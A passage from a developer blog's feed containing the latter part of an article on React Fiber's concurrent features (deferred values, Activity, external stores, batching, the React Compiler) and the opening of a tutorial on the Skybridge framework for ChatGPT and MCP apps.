&lt;p&gt;State updates that occur after an &lt;code&gt;await&lt;/code&gt; currently need another &lt;code&gt;startTransition&lt;/code&gt; call to remain transition updates. This is a known limitation caused by React losing the transition context across the asynchronous boundary.&lt;/p&gt;
&lt;p&gt;Async transitions connect concurrent rendering with newer React features such as &lt;code&gt;Actions&lt;/code&gt;, &lt;code&gt;form Actions&lt;/code&gt;, &lt;code&gt;useActionState&lt;/code&gt;, and &lt;code&gt;useOptimistic&lt;/code&gt;. They allow React to coordinate pending UI, asynchronous work, and the final render as one interaction.&lt;/p&gt;
&lt;h3 id=&quot;deferred-values&quot;&gt;What is &lt;code&gt;useDeferredValue&lt;/code&gt;?&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;useDeferredValue&lt;/code&gt; hook lets one part of the UI update later than another part. It is useful when a value changes urgently, but a component that depends on that value is slow to render.&lt;/p&gt;
&lt;p&gt;For example, an input should reflect each keystroke immediately, but a large list of search results can update at a lower priority:&lt;/p&gt;
&lt;pre class=&quot;language-jsx hljs&quot;&gt;import { Suspense, useDeferredValue, useState } from &quot;react&quot;;
export default function SearchPage() {
  const [query, setQuery] = useState(&quot;&quot;);
  const deferredQuery = useDeferredValue(query);
  const isStale = query !== deferredQuery;
  return (
    &amp;lt;&amp;gt;
      {&quot; &quot;}
      &amp;lt;input
        value={query}
        onChange={(event) =&amp;gt; setQuery(event.target.value)}
        placeholder=&quot;Search&quot;
      /&amp;gt;{&quot; &quot;}
      &amp;lt;div style={{ opacity: isStale ? 0.5 : 1 }}&amp;gt;
        {&quot; &quot;}
        &amp;lt;Suspense fallback={&amp;lt;p&amp;gt;Loading results...&amp;lt;/p&amp;gt;}&amp;gt;
          {&quot; &quot;}
          &amp;lt;SearchResults query={deferredQuery} /&amp;gt;{&quot; &quot;}
        &amp;lt;/Suspense&amp;gt;{&quot; &quot;}
      &amp;lt;/div&amp;gt;{&quot; &quot;}
    &amp;lt;/&amp;gt;
  );
}&lt;/pre&gt;
&lt;p&gt;In this example, when &lt;code&gt;query&lt;/code&gt; changes, React first renders the input with the latest value while &lt;code&gt;deferredQuery&lt;/code&gt; keeps its previous value.&lt;/p&gt;
&lt;p&gt;React then attempts another render in the background using the latest value. This background render is interruptible. If the user types again before it finishes, React can abandon it and restart with the newest value.&lt;/p&gt;
&lt;p&gt;Unlike traditional debouncing, &lt;code&gt;useDeferredValue&lt;/code&gt; does not wait for a fixed amount of time. Instead, React attempts the deferred render as soon as it can.&lt;/p&gt;
&lt;p&gt;The main difference between &lt;code&gt;useTransition&lt;/code&gt; and &lt;code&gt;useDeferredValue&lt;/code&gt; is where they are applied.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use a transition when you control the state update and can wrap its setter in &lt;code&gt;startTransition&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;useDeferredValue&lt;/code&gt; when you receive a value through props, a Hook, or another source and want a slower part of the tree to lag behind it.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;activity&quot;&gt;What is the &lt;code&gt;&amp;lt;Activity&amp;gt;&lt;/code&gt; component in React 19.2?&lt;/h3&gt;
&lt;p&gt;React 19.2 introduced the &lt;code&gt;&amp;lt;Activity&amp;gt;&lt;/code&gt; component as another feature built on concurrent rendering. Activity lets React hide and restore part of the UI without discarding its internal state.&lt;/p&gt;
&lt;pre class=&quot;language-jsx hljs&quot;&gt;import { Activity, useState } from &quot;react&quot;;
export default function Tabs() {
  const [activeTab, setActiveTab] = useState(&quot;home&quot;);
  return (
    &amp;lt;&amp;gt;
      {&quot; &quot;}
      &amp;lt;button onClick={() =&amp;gt; setActiveTab(&quot;home&quot;)}&amp;gt; Home &amp;lt;/button&amp;gt;{&quot; &quot;}
      &amp;lt;button onClick={() =&amp;gt; setActiveTab(&quot;settings&quot;)}&amp;gt; Settings &amp;lt;/button&amp;gt;{&quot; &quot;}
      &amp;lt;Activity mode={activeTab === &quot;home&quot; ? &quot;visible&quot; : &quot;hidden&quot;}&amp;gt;
        {&quot; &quot;}
        &amp;lt;Home /&amp;gt;{&quot; &quot;}
      &amp;lt;/Activity&amp;gt;{&quot; &quot;}
      &amp;lt;Activity mode={activeTab === &quot;settings&quot; ? &quot;visible&quot; : &quot;hidden&quot;}&amp;gt;
        {&quot; &quot;}
        &amp;lt;Settings /&amp;gt;{&quot; &quot;}
      &amp;lt;/Activity&amp;gt;{&quot; &quot;}
    &amp;lt;/&amp;gt;
  );
}&lt;/pre&gt;
&lt;p&gt;When an Activity boundary is visible, React renders it normally and mounts its Effects. When it becomes hidden, React hides its DOM content, cleans up its Effects, and preserves its component and DOM state. Updates to hidden content can still be rendered, but they are scheduled at a lower priority than visible work. When the Activity becomes visible again, React restores the preserved state and recreates its Effects.&lt;/p&gt;
&lt;p&gt;Activity clearly demonstrates how Fiber can preserve completed work, lower its priority while it is hidden, and reuse it when it becomes relevant again.&lt;/p&gt;
&lt;p&gt;Together, transitions, Suspense, selective hydration, streaming server rendering, Activity, and deferred values expose different aspects of React’s concurrent rendering model.&lt;/p&gt;
&lt;h3 id=&quot;supporting-external-stores-during-concurrent-rendering&quot;&gt;How does &lt;code&gt;useSyncExternalStore&lt;/code&gt; protect external state in concurrent React?&lt;/h3&gt;
&lt;p&gt;Concurrent rendering introduces an important challenge for state stored outside React. Because React can pause while rendering a component tree, an external store may change during that pause. If different components read different versions of the store, React could produce an inconsistent user interface.&lt;/p&gt;
&lt;p&gt;React 18 introduced &lt;code&gt;useSyncExternalStore&lt;/code&gt; to give React a reliable way to subscribe to external stores and read a consistent snapshot of their state:&lt;/p&gt;
&lt;pre class=&quot;language-jsx hljs&quot;&gt;import { useSyncExternalStore } from &quot;react&quot;;
function OnlineStatus() {
  const isOnline = useSyncExternalStore(
    subscribe,
    getSnapshot,
    getServerSnapshot,
  );
  return &amp;lt;p&amp;gt;{isOnline ? &quot;Online&quot; : &quot;Offline&quot;}&amp;lt;/p&amp;gt;;
}&lt;/pre&gt;
&lt;p&gt;Here, the first argument subscribes to changes in the external source. The second returns its current value, and the optional third argument provides the value used during server rendering.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;useSyncExternalStore&lt;/code&gt; is especially useful for state-management libraries and browser APIs whose values can change outside React’s update system.&lt;/p&gt;
&lt;h3 id=&quot;automatic-batching&quot;&gt;What is automatic batching?&lt;/h3&gt;
&lt;p&gt;Automatic batching is a key feature that is the direct result of the underlying changes in React Fiber. It helps to reduce the number of re-renders that happen when a state changes by allowing React to group multiple state updates into a single re-render.&lt;/p&gt;
&lt;p&gt;For example, when you call multiple &lt;code&gt;setState&lt;/code&gt; functions in a single render cycle, React automatically batches them together into a single update. This can be observed in the code example below:&lt;/p&gt;
&lt;pre class=&quot;language-jsx hljs&quot;&gt;function MyComponent() {
  const [count, setCount] = useState(0);

  const handleClick = () =&amp;gt; {
    // Multiple state updates within a single event handler
    setCount(count + 1);
    setCount(count + 2); 
  };

  console.log(&quot;Rendering&quot;)

  return (
    &amp;lt;div&amp;gt;
      &amp;lt;p&amp;gt;Count: {count}&amp;lt;/p&amp;gt;
      &amp;lt;button onClick={handleClick}&amp;gt;Increment&amp;lt;/button&amp;gt;
    &amp;lt;/div&amp;gt;
  );
}&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;handleClick&lt;/code&gt; function calls &lt;code&gt;setCount&lt;/code&gt; twice, once to increment the count by &lt;code&gt;1&lt;/code&gt; and then again to increment it by &lt;code&gt;2&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;React automatically batches these two state updates into a single update. This means that only one re-render will occur, and “rendering” will only log once in the terminal.&lt;/p&gt;
&lt;p&gt;Before the release of React v18, batched updates were performed inside the React event handler. This meant that outside of React’s lifecycle (such as inside a &lt;code&gt;setTimeout&lt;/code&gt; or a promise), updates would not be batched automatically. With React Fiber’s improved update in v18, updates are batched across all contexts, including asynchronous code, &lt;code&gt;setTimeout&lt;/code&gt;, promises, and native event handlers.&lt;/p&gt;
&lt;h3 id=&quot;the-react-compiler-moved-optimization-to-build-time&quot;&gt;How does the React Compiler optimize code at build time?&lt;/h3&gt;
&lt;p&gt;The React Compiler complements Fiber by adding build-time memoization that reduces the amount of work Fiber needs to perform at runtime.&lt;/p&gt;
&lt;p&gt;Earlier, we saw that a fiber node stores both &lt;code&gt;pendingProps&lt;/code&gt; and &lt;code&gt;memoizedProps&lt;/code&gt; during reconciliation to decide whether work needs to be done for a fiber.&lt;/p&gt;
&lt;p&gt;By comparing &lt;code&gt;pendingProps&lt;/code&gt; with &lt;code&gt;memoizedProps&lt;/code&gt;, React can determine if the inputs to a component have changed. If they are the same and there are no other updates affecting the fiber, React can skip re-rendering that part of the tree and reuse the previous result. This process is known as memoization.&lt;/p&gt;
&lt;p&gt;Memoization happens at runtime after React has already received an update and entered the reconciliation process. Fiber then decides whether part of the tree can be reused.&lt;/p&gt;
&lt;p&gt;Hooks such as &lt;code&gt;React.memo&lt;/code&gt;, &lt;code&gt;useMemo&lt;/code&gt;, and &lt;code&gt;useCallback&lt;/code&gt; can help React memoize components, values, or functions where appropriate.&lt;/p&gt;
&lt;pre class=&quot;language-jsx hljs&quot;&gt;import { memo, useCallback, useMemo } from &quot;react&quot;;
const ProductList = memo(function ProductList({ products, onSelect }) {
  const availableProducts = useMemo(() =&amp;gt; {
    return products.filter((product) =&amp;gt; product.inStock);
  }, [products]);
  const handleSelect = useCallback(
    (productId) =&amp;gt; {
      onSelect(productId);
    },
    [onSelect],
  );
  return (
    &amp;lt;ul&amp;gt;
      {&quot; &quot;}
      {availableProducts.map((product) =&amp;gt; (
        &amp;lt;Product key={product.id} product={product} onSelect={handleSelect} /&amp;gt;
      ))}{&quot; &quot;}
    &amp;lt;/ul&amp;gt;
  );
});&lt;/pre&gt;
&lt;p&gt;Each hook handles a different part of memoization:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;React.memo&lt;/code&gt;&lt;/strong&gt;: lets React skip rendering &lt;code&gt;ProductList&lt;/code&gt; when its props have not changed&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&lt;strong&gt;useMemo&lt;/strong&gt;&lt;/code&gt;: caches the filtered products&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;useCallback&lt;/code&gt;&lt;/strong&gt;: preserves the function reference between renders&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Although these APIs help reduce the amount of work that reaches Fiber, developers still have to decide what to memoize, where to memoize it, and keep dependency arrays up to date.&lt;/p&gt;
&lt;p&gt;The React Compiler was introduced to reduce this manual work by adding another layer of optimization. Instead of waiting until runtime to identify unnecessary work, the compiler analyzes components and Hooks during the build process and automatically inserts memoization where it is safe to do so.&lt;/p&gt;
&lt;p&gt;This means we can rewrite the same component without the manual memoization hooks:&lt;/p&gt;
&lt;pre class=&quot;language-jsx hljs&quot;&gt;function ProductList({ products, onSelect }) {
  const availableProducts = products.filter((product) =&amp;gt; product.inStock);
  function handleSelect(productId) {
    onSelect(productId);
  }
  return (
    &amp;lt;ul&amp;gt;
      {&quot; &quot;}
      {availableProducts.map((product) =&amp;gt; (
        &amp;lt;Product key={product.id} product={product} onSelect={handleSelect} /&amp;gt;
      ))}{&quot; &quot;}
    &amp;lt;/ul&amp;gt;
  );
}&lt;/pre&gt;
&lt;p&gt;During the build process, the compiler analyzes how values depend on props, state, and other values in the component. It can then generate cache checks that reuse &lt;code&gt;availableProducts&lt;/code&gt;, &lt;code&gt;handleSelect&lt;/code&gt;, JSX elements, or child component output as long as their relevant inputs remain unchanged.&lt;/p&gt;
&lt;p&gt;This does not mean the compiler stores the final DOM or bypasses reconciliation. The compiled component still runs within React’s normal rendering system. Fiber still creates and reconciles the work-in-progress tree and decides what should be committed.&lt;/p&gt;
&lt;p&gt;Because these two systems serve different purposes, it is easy to mix up their roles. The table below breaks down their key responsibilities and answers common questions about how they work together.&lt;/p&gt;
&lt;h3 id=&quot;react-fiber-vs-react-compiler-frequently-asked-questions&quot;&gt;React Fiber vs. React Compiler: Key differences &amp;amp; FAQs&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Question&lt;/th&gt;
&lt;th&gt;React Fiber&lt;/th&gt;
&lt;th&gt;React Compiler&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;When does each system operate?&lt;/td&gt;
&lt;td&gt;Operates at runtime while React renders and reconciles the component tree&lt;/td&gt;
&lt;td&gt;Operates primarily at build time, analyzing and transforming the application code before it runs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What information does each system rely on?&lt;/td&gt;
&lt;td&gt;Uses runtime data such as Fiber props, state, context, update priorities, lanes, and previously completed work&lt;/td&gt;
&lt;td&gt;Uses static analysis of components, Hooks, values, functions, JSX, and their dependencies&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;How much developer involvement is required for optimization?&lt;/td&gt;
&lt;td&gt;React handles reconciliation automatically, but developers often need to manually add &lt;code&gt;React.memo&lt;/code&gt;, &lt;code&gt;useMemo&lt;/code&gt;, and &lt;code&gt;useCallback&lt;/code&gt; to optimize performance&lt;/td&gt;
&lt;td&gt;The compiler handles optimization by adding much of this memoization automatically&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What is the relationship between each system and concurrent rendering?&lt;/td&gt;
&lt;td&gt;Fiber acts as the scheduler that can pause, restart, prioritize, or abandon rendering work&lt;/td&gt;
&lt;td&gt;The compiler reduces the overall amount of work that the concurrent renderer needs to execute&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;How do they affect the DOM?&lt;/td&gt;
&lt;td&gt;Fiber eventually commits the necessary DOM mutations through the renderer&lt;/td&gt;
&lt;td&gt;The compiler does not update the DOM directly&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Does the React Compiler replace React Fiber?&lt;/td&gt;
&lt;td&gt;No. Fiber remains React’s core runtime reconciler&lt;/td&gt;
&lt;td&gt;Compiled components still render through Fiber at runtime&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;React Fiber transformed React from a rigid tree-traversal tool into an intelligent, schedulable rendering engine. As React continues to evolve through v19 and beyond, Fiber remains the key mechanism powering it all. I hope you enjoyed reading this post.&lt;/p&gt;



&lt;/div&gt;
            &lt;style&gt;
    .share-icon.share-twitter span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-twitter.svg&quot;);
    }

    .share-icon.share-reddit span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-reddit.svg&quot;);
    }

    .share-icon.share-linkedin span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-linkedin.svg&quot;);
    }

    .share-icon.share-facebook span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-facebook.svg&quot;);
    }
&lt;/style&gt;

            &lt;ul id=&quot;post-tags&quot;&gt;
            &lt;li&gt;
        &lt;a rel=&quot;tag&quot; href=&quot;https://blog.logrocket.com/tag/react/&quot;&gt;#react&lt;/a&gt;
        &lt;/li&gt;
    &lt;/ul&gt;
            &lt;!-- This is where popips should go --&gt;
            &lt;div id=&quot;popups&quot;&gt;&lt;/div&gt;
        &lt;/div&gt;
    </description><link>https://blog.logrocket.com/deep-dive-react-fiber/</link><guid isPermaLink="false">https://blog.logrocket.com/deep-dive-react-fiber/</guid><pubDate>Invalid Date</pubDate><author>Karthik Kalyanaraman</author></item><item><title>Skybridge: Build ChatGPT apps and MCP connectors</title><description>&lt;aside&gt;
            &lt;div class=&quot;sticky&quot;&gt;
                                
&lt;div class=&quot;toc-container&quot; id=&quot;post-toc&quot;&gt;
            &lt;div class=&quot;toc-header&quot;&gt;
            &lt;span class=&quot;toc-title&quot;&gt;
                Table of contents            &lt;/span&gt;
            &lt;i class=&quot;fa fa-chevron-down toc-collapse&quot;&gt;&lt;/i&gt;
            &lt;i class=&quot;hide fa fa-chevron-up toc-expand&quot;&gt;&lt;/i&gt;
        &lt;/div&gt;
        
&lt;ul data-toc-name=&quot;root&quot; class=&quot;toc&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/skybridge-chatgpt-mcp-apps/#why-use-skybridge&quot;&gt;Why use Skybridge?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;why-use-skybridge&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/skybridge-chatgpt-mcp-apps/#what-problem-does-skybridge-solve&quot;&gt;What problem does Skybridge solve?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;what-problem-does-skybridge-solve&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/skybridge-chatgpt-mcp-apps/#how-does-skybridge-speed-up-mcp-app-development&quot;&gt;How does Skybridge speed up MCP app development?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-does-skybridge-speed-up-mcp-app-development&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/skybridge-chatgpt-mcp-apps/#what-do-you-need-before-using-skybridge&quot;&gt;What do you need before using Skybridge?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;what-do-you-need-before-using-skybridge&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/skybridge-chatgpt-mcp-apps/#how-do-you-create-a-skybridge-project&quot;&gt;How do you create a Skybridge project?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-do-you-create-a-skybridge-project&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/skybridge-chatgpt-mcp-apps/#what-is-the-skybridge-developer-dashboard&quot;&gt;What is the Skybridge developer dashboard?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;what-is-the-skybridge-developer-dashboard&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/skybridge-chatgpt-mcp-apps/#how-do-you-build-a-chatgpt-app-with-skybridge&quot;&gt;How do you build a ChatGPT app with Skybridge?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-do-you-build-a-chatgpt-app-with-skybridge&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/skybridge-chatgpt-mcp-apps/#how-do-you-create-mcp-tools-in-skybridge&quot;&gt;How do you create MCP tools in Skybridge?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-do-you-create-mcp-tools-in-skybridge&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/skybridge-chatgpt-mcp-apps/#how-do-you-enable-end-to-end-type-safety-in-skybridge&quot;&gt;How do you enable end-to-end type safety in Skybridge?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-do-you-enable-end-to-end-type-safety-in-skybridge&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/skybridge-chatgpt-mcp-apps/#how-do-you-build-a-react-view-in-skybridge&quot;&gt;How do you build a React view in Skybridge?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-do-you-build-a-react-view-in-skybridge&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/skybridge-chatgpt-mcp-apps/#how-do-you-add-more-tools-to-a-skybridge-app&quot;&gt;How do you add more tools to a Skybridge app?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-do-you-add-more-tools-to-a-skybridge-app&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/skybridge-chatgpt-mcp-apps/#how-do-you-register-a-book-hotel-tool&quot;&gt;How do you register a book-hotel tool?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-do-you-register-a-book-hotel-tool&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/skybridge-chatgpt-mcp-apps/#how-do-you-register-a-confirm-booking-tool&quot;&gt;How do you register a confirm-booking tool?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-do-you-register-a-confirm-booking-tool&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/skybridge-chatgpt-mcp-apps/#how-do-you-create-the-booking-view-in-skybridge&quot;&gt;How do you create the booking view in Skybridge?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-do-you-create-the-booking-view-in-skybridge&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/skybridge-chatgpt-mcp-apps/#how-do-you-test-a-skybridge-app&quot;&gt;How do you test a Skybridge app?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-do-you-test-a-skybridge-app&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/skybridge-chatgpt-mcp-apps/#what-are-skybridges-limitations&quot;&gt;What are Skybridge&#39;s limitations?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;what-are-skybridges-limitations&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/skybridge-chatgpt-mcp-apps/#conclusion&quot;&gt;Conclusion&lt;/a&gt;
        &lt;ul data-toc-name=&quot;conclusion&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/div&gt;
                &lt;div class=&quot;plug-gutter&quot;&gt;
    &lt;div class=&quot;plug-gutter--image&quot;&gt;
        &lt;img src=&quot;https://blog.logrocket.com/wp-content/uploads/2023/12/GalileoAIPreview.png&quot; alt=&quot;LogRocket Galileo logo&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
    &lt;/div&gt;
    &lt;div class=&quot;plug-gutter--top&quot;&gt;Introducing Galileo AI&lt;/div&gt;
    &lt;div class=&quot;plug-gutter--bottom&quot;&gt;LogRocket’s Galileo AI watches every session, surfacing impactful user struggle and key behavior patterns.&lt;/div&gt;
    &lt;div class=&quot;plug-gutter--cta&quot;&gt;
        &lt;a href=&quot;https://logrocket.com/products/galileo-ai&quot; class=&quot;plug-gutter--button&quot;&gt;LEARN MORE&lt;/a&gt;
    &lt;/div&gt;
&lt;/div&gt;


            &lt;/div&gt;
        &lt;/aside&gt;
        &lt;div id=&quot;the-content-container&quot;&gt;&lt;style&gt;
.plug-dev-top--card {
    border: 2px solid rgba(118, 74, 188, 0.2);
    border-radius: 8px;
    background-color: #491d90;
    justify-content: space-between;
    align-items: center;
    padding: 16px;
    font-family: &#39;Proxima Nova&#39;, sans-serif;
    display:flex;
    gap: 1rem;
    cursor: pointer;
}

.plug-dev-top--logo {
    width: 48px;
    height: 48px;
    border-radius: 50%;
}

.plug-dev-top--blurb {
    h2 {
        font-weight: 800;
        font-size: 22px;
        line-height: 22px;
        color: #fff;
        width: 70%;
        margin: 0 0 5px 0;
    }

    h3 {
        font-weight: 900;
        font-size: 13px;
        line-height: 13px;
        letter-spacing: 0.1em;
        color: #fff;
        opacity: 0.5;
        white-space: nowrap;
        margin: 0;
    }
}

.plug-dev-top--cta {
    background-color: #fff;
    color: #764abc;
    border: none;
    border-radius: 4px;
    padding: 10px;
    font-size: 16px;
    font-weight: 800;
    font-family: &#39;Proxima Nova&#39;, sans-serif;
    text-decoration: none;
    width: 25%;
    text-align: center;

    &amp;:hover {
        text-decoration: none;
        color: #a58ec8;
    }
}

.plug-dev-top--asset {
    position: relative;
    height: 400px;
    overflow: hidden;
    transition: all 0.3s ease;
    margin-top: 30px;

    &amp;.lr-hidden {
        height: 0;
        margin: 0;
    }
}
&lt;/style&gt;
&lt;div class=&quot;plug-dev-top&quot;&gt;
    &lt;div class=&quot;plug-dev-top--card&quot;&gt;
        &lt;img class=&quot;plug-dev-top--logo&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2023/04/logrocket-logo-1.png&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;div class=&quot;plug-dev-top--blurb&quot;&gt;
            &lt;h2&gt;See how LogRocket&#39;s Galileo AI surfaces the most severe issues for you&lt;/h2&gt;
            &lt;h3&gt;No signup required&lt;/h3&gt;
        &lt;/div&gt;
        &lt;div class=&quot;plug-dev-top--cta&quot;&gt;Check it out&lt;/div&gt;
    &lt;/div&gt;
    &lt;div class=&quot;plug-dev-top--asset lr-hidden&quot;&gt;
        &lt;div style=&quot;position: absolute; top: 0; left: 0; height: 100%; width: 100%&quot;&gt;
            &lt;iframe id=&quot;galileo-wistia-iframe&quot; src=&quot;https://fast.wistia.net/embed/iframe/x7kl3pp560?web_component=true&amp;amp;seo=true&quot; title=&quot;Galileo AI Overview - May 2025 Video&quot; allow=&quot;autoplay; fullscreen&quot; class=&quot;wistia_embed&quot; name=&quot;wistia_embed&quot; width=&quot;100%&quot; height=&quot;100%&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
            &lt;/iframe&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;



            
&lt;div class=&quot;lr-content&quot;&gt;
    &lt;!-- TEMP: .article-post is only used for adinserter to hook into --&gt;
    &lt;div class=&quot;article-post&quot;&gt;&lt;/div&gt;
    
&lt;p&gt;Chatbots have moved beyond text-based Q&amp;amp;A to become execution environments. Today, developers use them as runtime hosts where tools execute, UI widgets render inline, and user interactions feed back to the model in real time.&lt;/p&gt;&lt;img fetchpriority=&quot;high&quot; decoding=&quot;async&quot; width=&quot;895&quot; height=&quot;597&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/Skybridge.png&quot; class=&quot;attachment-full size-full wp-post-image&quot; alt=&quot;&quot; srcset=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/Skybridge.png 895w, https://blog.logrocket.com/wp-content/uploads/2026/07/Skybridge-300x200.png 300w, https://blog.logrocket.com/wp-content/uploads/2026/07/Skybridge-768x512.png 768w&quot; sizes=&quot;(max-width: 895px) 100vw, 895px&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
&lt;p&gt;However, the developer experience is fragmented. OpenAI uses a proprietary Apps SDK for ChatGPT, while Anthropic Claude follows the Model Context Protocol (MCP). Building and maintaining separate integrations for each platform increases maintenance costs.&lt;/p&gt;
&lt;p&gt;Skybridge addresses these challenges. It is an open-source React framework that abstracts host-specific differences. You write one application and deploy it to ChatGPT, Claude, or any MCP-compatible client.&lt;/p&gt;
&lt;p&gt;This article demonstrates how to build a unified AI app from scratch, moving from basic tool calls to an interactive, state-synchronized interface.&lt;/p&gt;
&lt;h2 id=&quot;why-use-skybridge&quot;&gt;Why use Skybridge?&lt;/h2&gt;
&lt;p&gt;If you are wondering about Skybridge, check out the troubles it takes away from developers.&lt;/p&gt;
&lt;h3 id=&quot;what-problem-does-skybridge-solve&quot;&gt;What problem does Skybridge solve?&lt;/h3&gt;
&lt;p&gt;Each major AI platform comes with its own unique runtime behaviors, protocol specifications, and widget embedding rules. Skybridge acts as a write-once, run-anywhere abstraction layer that automatically manages protocol bridging and host-specific nuances, allowing a single React app to deploy effortlessly across &lt;a href=&quot;https://blog.logrocket.com/ux-design/19-chatgpt-prompts-for-faster-better-ux-research/&quot;&gt;ChatGPT&lt;/a&gt;, &lt;a href=&quot;https://blog.logrocket.com/getting-started-claude-4-api-developers-walkthrough/&quot;&gt;Claude&lt;/a&gt;, and VS Code.&lt;/p&gt;
&lt;h3 id=&quot;how-does-skybridge-speed-up-mcp-app-development&quot;&gt;How does Skybridge speed up MCP app development?&lt;/h3&gt;
&lt;p&gt;Testing an &lt;a href=&quot;https://blog.logrocket.com/introducing-the-logrocket-mcp/&quot;&gt;MCP&lt;/a&gt; app usually involves a tedious loop: deploying your app, opening a manual tunnel, connecting to a live chatbot, and constantly triggering model responses to check your changes. Skybridge eliminates this friction with a dedicated developer dashboard, which we’ll explore during our testing phase.&lt;/p&gt;
&lt;h2 id=&quot;what-do-you-need-before-using-skybridge&quot;&gt;What do you need before using Skybridge?&lt;/h2&gt;
&lt;p&gt;Ensure you have these tools and accounts ready:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Node.js 24 or later&lt;/li&gt;
&lt;li&gt;Package manager: npm, pnpm, yarn, or bun&lt;/li&gt;
&lt;li&gt;ChatGPT account with developer access&lt;/li&gt;
